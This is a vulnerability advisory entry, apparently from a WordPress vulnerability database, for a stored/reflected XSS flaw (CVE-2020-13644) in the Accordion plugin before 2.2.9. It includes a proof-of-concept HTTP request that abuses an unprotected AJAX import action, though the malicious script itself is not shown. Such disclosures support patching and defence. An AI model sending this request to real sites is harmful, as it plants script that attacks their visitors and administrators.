Accordion < 2.2.9 – Unprotected AJAX Action to Stored/Reflected XSS | CVE 2020-13644 | Plugin Vulnerabilities

Description

This flaw allowed any authenticated user with subscriber-level and above permissions the ability to import a new accordion and inject malicious Javascript as part of the accordion.

Proof of Concept

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: URL
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Origin: URL
Referer: URL
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: 
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 97

action=accordions_ajax_import_json&json_file=URL/importjsondata.json

*where importjsondata.json contains the malicious scripts

Affects Plugins

Fixed in 2.2.9

References

CVE

URL

https://www.wordfence.com/blog/2020/04/vulnerability-patched-in-accordion-plugin/

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

Chloe Chamberland

Submitter

Chloe Chamberland

Submitter website

https://wordfence.com

Submitter twitter

Verified

No

WPVDB ID

5ca1a950-5998-4f31-b8f9-c94930a8d141

Timeline

Publicly Published

2020-04-14 (about 5 years ago)

Added

2020-04-14 (about 5 years ago)

Last Updated

2020-05-29 (about 5 years ago)

Other

Published

Title

Published

2022-12-27

Title

EU Cookie Law <= 3.1.6 - Admin+ Stored XSS

Published

2022-07-26

Title

Simple Banner < 2.12.0 - Admin+ Stored Cross Site Scripting

Published

2024-04-10

Title

Save as PDF < 3.2.2 - Authenticated (Admin+) Stored Cross-Site Scripting

Published

2024-11-05

Title

WP Google Review Slider < 15.6 - Admin+ Stored XSS

Published

2023-11-16

Title

Quick Call Button <= 1.2.9 - Authenticated (Administrator+) Stored Cross-Site Scripting via settings